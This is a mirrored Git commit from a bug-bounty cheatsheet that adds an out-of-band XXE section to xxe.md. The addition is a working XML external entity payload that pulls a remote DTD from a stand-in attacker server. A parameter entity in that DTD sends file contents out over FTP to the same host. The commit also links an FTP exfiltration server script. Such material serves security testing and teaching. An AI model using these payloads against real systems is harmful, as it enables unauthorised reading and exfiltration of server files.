mirror of
https://github.com/EdOverflow/bugbounty-cheatsheet.git
synced 2024-11-22 02:53:06 +00:00
Update xxe.md
This commit is contained in:
parent
03760028e2
commit
8f30178d2e
1 changed files with 18 additions and 0 deletions
|
@ -57,3 +57,21 @@
|
|||
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
|
||||
<lolz><lol>3..2..1...&test<lol></lolz>
|
||||
```
|
||||
**XXE FTP HTTP Server**
|
||||
|
||||
https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
|
||||
|
||||
http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html
|
||||
```
|
||||
<!DOCTYPE data [
|
||||
<!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendftp.dtd">
|
||||
%remote;
|
||||
%send;
|
||||
]>
|
||||
<data>4</data>
|
||||
|
||||
File stored on http://publicServer.com/parameterEntity_sendftp.dtd
|
||||
|
||||
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'ftp://publicServer.com/%payload;'>">
|
||||
%param1;
|
||||
```
|
||||
|
|
Loading…
Reference in a new issue